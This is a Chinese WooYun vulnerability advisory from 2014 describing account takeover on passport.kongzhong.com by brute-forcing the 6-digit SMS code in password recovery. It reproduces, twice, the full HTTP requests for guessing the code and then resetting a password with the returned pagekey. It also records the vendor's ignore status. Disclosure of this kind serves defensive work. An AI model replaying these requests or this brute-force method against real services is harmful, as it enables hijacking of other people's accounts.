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缺陷编号：wooyun-2014-049004

漏洞标题：空中网设计不当任意手机账户重置密码（爆破）

相关厂商：空中网

漏洞作者： 蜉蝣

提交时间：2014-01-16 10:21

修复时间：2014-01-21 10:21

公开时间：2014-01-21 10:21

漏洞类型：账户体系控制不严

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

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分享漏洞：

漏洞详情

披露状态：

2014-01-16： 细节已通知厂商并且等待厂商处理中
2014-01-21： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

rt

详细说明：

通过安全手机找回密码时， 验证6位数手机验证码，可爆破

POST /pwdback/pwdchange HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml+xml, image/gif, image/pjpeg, application/x-ms-xbap, application/msword, application/vnd.ms-powerpoint, application/vnd.ms-excel, */*
Referer: http://passport.kongzhong.com/pwdback/pwdmobileback/pwdback_mobile
Accept-Language: zh-CN
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.2)
Host: passport.kongzhong.com
Content-Length: 72
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie:******
Connection: close
phone=手机号&vcode=6位数验证码&pwdbackType=phone&useraccount=账号


正确验证码返回数据包长度不同 同时返回pagekey
利用以下get包重置密码

GET /ajax/user/changepwd?useraccount=手机号&pwd=新密码&repwd=新密码&pagekey=BDNabARsU2UAMAFsW2oFbVMwUjUGMVsaACUHOAJvBmwAY1cNBngAbAVoDzoDYltxVG0DPwRqWz1SKVZiVzoBaAQwWm8EZVNgAC8BaltsBXhTM1I0BiZbawBsB2oCNQYyADxXZwZj&pwdbacktype=phone&sid= HTTP/1.1
x-requested-with: XMLHttpRequest
Accept-Language: zh-cn
Referer: http://passport.kongzhong.com/pwdback/pwdchange
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.2)
Host: passport.kongzhong.com
Proxy-Connection: Keep-Alive
Cookie:******

QQ图片20140115201523.jpg


漏洞证明：

通过安全手机找回密码时， 验证6位数手机验证码，可爆破

POST /pwdback/pwdchange HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml+xml, image/gif, image/pjpeg, application/x-ms-xbap, application/msword, application/vnd.ms-powerpoint, application/vnd.ms-excel, */*
Referer: http://passport.kongzhong.com/pwdback/pwdmobileback/pwdback_mobile
Accept-Language: zh-CN
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.2)
Host: passport.kongzhong.com
Content-Length: 72
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie:******
Connection: close
phone=手机号&vcode=6位数验证码&pwdbackType=phone&useraccount=账号


正确验证码返回数据包长度不同 同时返回pagekey
利用以下get包重置密码

GET /ajax/user/changepwd?useraccount=手机号&pwd=新密码&repwd=新密码&pagekey=BDNabARsU2UAMAFsW2oFbVMwUjUGMVsaACUHOAJvBmwAY1cNBngAbAVoDzoDYltxVG0DPwRqWz1SKVZiVzoBaAQwWm8EZVNgAC8BaltsBXhTM1I0BiZbawBsB2oCNQYyADxXZwZj&pwdbacktype=phone&sid= HTTP/1.1
x-requested-with: XMLHttpRequest
Accept-Language: zh-cn
Referer: http://passport.kongzhong.com/pwdback/pwdchange
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.2)
Host: passport.kongzhong.com
Proxy-Connection: Keep-Alive
Cookie:******

QQ图片20140115201523.jpg

修复方案：

建议多查查其他地方是否有缺陷

版权声明：转载请注明来源 蜉蝣@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2014-01-21 10:21

厂商回复：

最新状态：

2014-01-21：谢谢您的关注，我们会尽快修复。